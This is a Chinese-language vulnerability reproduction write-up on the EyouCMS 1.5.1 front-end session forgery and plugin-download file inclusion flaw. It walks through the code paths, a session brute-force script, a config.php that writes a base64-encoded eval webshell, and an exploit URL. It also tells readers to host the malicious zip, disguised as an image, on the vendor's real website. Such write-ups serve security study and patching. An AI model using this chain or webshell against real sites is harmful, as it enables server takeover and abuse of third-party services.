首頁  >  文章  >  運維  >  如何進行EyouCMS V1.5.1 前台getshell漏洞復現

如何進行EyouCMS V1.5.1 前台getshell漏洞復現

PHPz
PHPz轉載
2023-05-20 20:14:403264瀏覽

0x00 漏洞簡介

讚讚網路科技EyouCMS(易優CMS)是中國讚贊網路科技公司的一套基於ThinkPHP的開源內容管理系統(CMS)。

Eyoucms v1.5.1 及以前版本存在任意使用者後台登陸與檔案包含漏洞,該漏洞使攻擊者可以透過呼叫api,在前台設定一個管理員的session,後台遠端插件下載檔案包含getshell。

0x01 影響版本

EyouCMS <= 1.5.1

##0x02 環境建置

下載

官網下載V1.5.1版本
下載連線:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

#安裝

透過phpstudy整合環境簡單部署

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台設定管理員session在application/api/controller/Ajax.php :215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

#函數是可以被前台隨意呼叫的,另外形參中的

#$name

變數也是透過http傳遞進來的。跟進token函數,如下圖所示。


如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮處有一個設定session的操作,名字是可控的,而值是請求時間戳md5的值。不可控。

可以嘗試透過這個設定session的操作,建構出一個後台管理員的session。然後我們整理一下後台管理員的登入邏輯。在application/admin/controller/Base.php:54
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

這裡涉及到了兩個session,一個admin_login_expire,一個admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)

admin_login_expire



如何进行EyouCMS V1.5.1 前台getshell漏洞复现



如何进行EyouCMS V1.5.1 前台getshell漏洞复现

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

#(該session會做減法的校驗,需要滿足一定條件)


admin_id如何进行EyouCMS V1.5.1 前台getshell漏洞复现

(該session有就即可,不會驗證其值)

設定完這兩個session後,我們繼續看到if條件判斷裡還有一個

#check_priv


函數,跟進查看:

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))</code></p>
<p>admin_info.role_id<br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>#(滿足小於等於0即可)<p>設定完三個session後,就可以進後台了,如圖:<br><img src="https://img.php.cn/upload/article/000/000/164/168458488498951.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>
<p>後台遠端外掛程式下載getshell在application/admin/controller/Weapp.php:1235<br><img src="https://img.php.cn/upload/article/000/000/164/168458488422879.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>這裡傳進來一個$url,然後做一個url解析,要滿足host為eyoucms.com。 <p>也就是程式限制只能從官網下載外掛程式安裝,但這個校驗太簡單了,可以​​繞。 <br>然後下文就是請求這個下載鏈接,做解壓縮操作,並包含進來config.php。 <br><strong></strong></p>這後面再做的外掛標準判斷已經不起作用了。 <p><br><img src="https://img.php.cn/upload/article/000/000/164/168458488464024.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">0x04 漏洞利用</p>######前台設定一個管理員的session###首先我們可以先取出成功登陸後的管理員session與未登入的普通使用者session做比較###管理員:############普通使用者:#############呼叫get_token函數設定名為admin_login_expire的session####### ######再查看該普通使用者的session############已成功設定。 ###同樣的我們可以把admin_id與admin_info.roke_id加進去。 ######但是###這md5字串顯然不符合漏洞分析中的要求,所以這裡透過腳本不斷刷新session,直到尋找到適當的md5值###<pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
###運行結果:## #######

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上是如何進行EyouCMS V1.5.1 前台getshell漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除